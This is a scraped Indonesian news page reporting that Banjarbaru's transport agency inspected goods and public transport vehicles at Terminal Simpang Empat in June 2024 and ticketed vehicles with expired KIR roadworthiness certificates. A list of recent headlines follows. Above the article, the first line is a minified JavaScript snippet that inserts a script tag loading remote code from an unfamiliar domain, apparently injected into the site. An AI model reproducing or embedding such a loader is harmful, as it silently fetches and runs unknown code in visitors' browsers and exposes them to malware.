(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Angkutan Barang dan Umum Terjaring di Terminal Simpang Empat Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan pengecekan armada barang dan angkutan umum di Terminal Simpang Empat Banjarbaru, Kalimantan Selatan (Kalsel), Kamis (20/6/2024) sore.

Pemeriksaan laik jalan angkutan umum tersebut menitikberatkan pada pemeriksaan kelayakan uji kendaraan, salah satunya terkait kelengkapan surat kendaraan.

Kabid Lalu Lintas dan Angkutan Jalan (LLAJ) Dishub Banjarbaru, Adi Royan menjelaskan, tujuan utama pemeriksaan adalah agar angkutan barang dan angkutan umum layak untuk digunakan di jalan raya.

Baca juga: Mulai Besok, Polda Kalsel Resmi Bermarkas di Kota Banjarbaru

Kabid Lalu Lintas dan Angkutan Jalan Dishub Banjarbaru, Adi Royan. Foto: wanda

“Dan ternyata masih ada kita temukan beberapa pelanggaran terutama untuk uji KIR-nya,” ujar Adi Royan, Kamis (20/6/2024) sore.

Dalam pemeriksaan, beberapa kendaraan angkutan ditemukan masih tidak melengkapi KIR atau KIR-nya sudah tidak berlaku lagi.

“Oleh sebab itu kami lakukan penilangan karena beberapa KIR-nya sudah tidak berlaku lagi,” sambung dia.

Baca juga: Dua Bangunan di Liang Anggang Diratakan, Berdiri Tanpa PBG

Dirinya menegaskan kepada pemilik angkutan barang dan umum memproses uji KIR sesuai aturan yang ditetapkan di Unit Pengujian Kendaraan Bermotor di Kota Banjarbaru.

“Karena berdasarkan Undang-Undang Nomor 1 Tahun 2022 bahwa uji KIR dapat dilakukan secara gratis, tidak ada lagi retribusi yang menjadi kewajiban para pemilik kendaraan,” ucapnya.

Baca juga: Babinsa dan Bhabinkamtibmas Diberi Wewenang Tutup Layanan Transaksi Top Up Game Online

Kegiatan seperti ini, sambungnya akan terus rutin dilakukan sehingga keselamatan penumpang dalam menggunakan angkutan umum dapat terjaga.

“Tentu akan terus kami rutinkan tujuan utamanya adalah agar kendaraan umum atau kendaraan barang layak untuk digunakan di jalan raya,” tuntas Adi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.